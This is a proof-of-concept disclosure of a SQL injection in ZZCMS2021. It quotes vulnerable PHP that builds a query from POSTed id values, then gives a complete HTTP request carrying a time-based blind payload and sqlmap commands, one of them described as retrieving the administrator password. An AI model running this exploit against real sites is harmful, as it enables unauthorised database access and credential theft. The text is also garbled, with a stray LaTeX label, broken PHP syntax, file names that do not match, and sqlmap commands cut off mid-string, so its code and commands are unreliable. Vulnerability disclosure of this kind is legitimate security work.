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ZZCMS2021 sqlinject(2)
 ZZCMS2021_sqlinject_2
         PoC by BaizeSec_ahui
         ZZCMS the lastest version download page :
         http://www.zzcms.net/about/6.htm
         zip installer:
         http://www.zzcms.net/download/zzcms2021.zip
         Environmental requirements
         PHP version > = 4.3.0
         Mysql version>=4.0.0
         vulnerability code:
         in file d1/d1_print.php
              <?php
              include("../inc/conn.php");
              #line 29-40
              $i=0;
              if(!empty($_POST['id'])){
                      for($i=0; $i<count($_POST['id']);$i++){
                      $id=$id.($_POST['id'][$i].',');
              }else{
                               $founderr=1:
                               $ErrMsg="操作失败! 请先选中要下载的信息";
              .
$id=substr($id,0,strlen($id)-1);//去除最后面的","
              #line 77-83
              if (strpos($id,",")>0){
                               $sql="select * from zzcms_dl where passed=1 and id in (". $id .") ";
                               $sql="select * from zzcms_dl where passed=1 and id=".$id." order by id desc";
              $rs=query($sql);
         Before you exploit the vulnerability, you need to visit this link to register users:
         http://127.0.0.1/reg/userreg.php
         When you have an account, visit this link and the POC is as follows.
         POC:
              POST /dl/dl_download.php HTTP/1.1
              User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
              Accept: \ text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, */*; q=0.8 \\
              \label{eq:accept-Language: problem} Accept-Language: \ zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2, zh-TW; q=0.2, zh-TW; q=0.2, zh-TW; q=0.3, zh-TW; z
              Accept-Encoding: gzip, deflate
              Content-Type: application/x-www-form-urlencoded
              Content-Length: 58
             Origin: http://zzcms.com
              Connection: close
              Referer: http://zzcms.com/dl/dl_download.php
              Cookie: UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
             Upgrade-Insecure-Requests: 1
```

id[0]=0&id[1]=1 AND (SELECT 5584 FROM (SELECT(SLEEP(9)))a)

sleep(9):

Screenshot link: http://39.101.130.53/image-20210827005508639.png

You can also use sqlmap to verify this vulnerability. The specific usage is as follows:

Note: please replace cookies and URLs with your own and make sure they are correct

python sqlmap.py -u "http://zzcms.com/dl/dl_print.php" --cookie="UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f

Screenshot link: http://39.101.130.53/image-20210827005636669.png)

After waiting for a while, you can get the information you query, or you can change the statement. For example, the following statement is used to query the password of the administrator user:

python sqlmap.py -u "http://zzcms.com/dl/dl_print.php" --cookie="UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f

Screenshot link: http://39.101.130.53/image-20210827010301240.png)